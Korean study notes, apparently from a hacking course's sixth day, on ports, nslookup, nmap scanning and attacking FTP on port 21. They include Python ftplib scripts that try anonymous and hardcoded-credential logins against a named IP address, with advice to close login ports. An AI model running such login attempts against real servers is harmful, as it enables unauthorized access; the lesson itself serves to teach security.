6일차

포트 IP와 포트에 대해서 알아보자.

포트 = 번호

Hacker - attack - Target
Target을 공격하려면 Target의 IP를 알아야한다.(cmd -> nslookup vertual. + 사이트주소)
192.168.0.99(DNS 서버)에서
vertual.izerone.co.kr의 IP 125.240.93.27로 ping을 실행한다.

nmap을 통해 포트에 대해 알아보자.
패킷 정보가 서버로 넘어간다.
port의 범위: 0 ~ 65535 : 65536개
21,22,23,25,53,80,110,143,443,445,3306,5900,.....
포트가 열려있어야 접속할수 있다.
가장 먼저 공격할수 있는 포트 : 21번
21 : FTP서비스(파일을 전송하는 서비스)
ID와 비밀번호가 필요하다.

사전을 이용해서 공격하는 해킹 프로그램

Target : virtual.izerone.co.kr
IP : 125.240.93.27
nmap확인
21, 80
21 : FTP서비스(시스템에 저장되어 있는 ID와 비밀번호를 알아야 사용가능)
21번은 닫아놓는것이 좋다(공격당하기 쉽기 때문에)

from ftplib import FTP def main(): ftp = FTP() print("start program") ftp.connect('125.240.93.27',21) ftp.login('','') print("ftp 공격 성공") ftp.quit() if __name__ == "__main__": main()
코드를 사용해서 21번 포트에 진입할수있다.
로그인할 수 있는 포트는 닫아놔야한다.

from ftplib import FTP, error_perm, error_temp, error_reply import socket def main(): try: #에러가 발생할 수 있는 가능성이 있는곳!! ftp = FTP() print("start program") ftp.connect('125.240.93.27',21) print("서버에 연결되었습니다.") ftp.login('master','123456') print("ftp 로그인 성공") except (socket.error, socket.gaierror) as e: print(f"FTP 서버 연결 오류: {e}") except error_perm as e: print(f"권한 오류: {e}") except error_temp as e: print(f"임시 오류: {e}") except error_reply as e: print(f"서버 응답 오류: {e}") except Exception as e: print(f"기타 예외 발생: {e}") else: ftp.quit() print("FTP 연결 종료.") if __name__ == "__main__": main()
디렉토리 2025_py -> 파일 Attack.py 만든 후
파일에 코드 작성 후
아이디와 비밀번호를 찾은 후
EditPlus로 접속 가능

접속이 가능한 이유는 포트를 열어놓고 IP 대역대도 막아놓지 않았기 때문이다.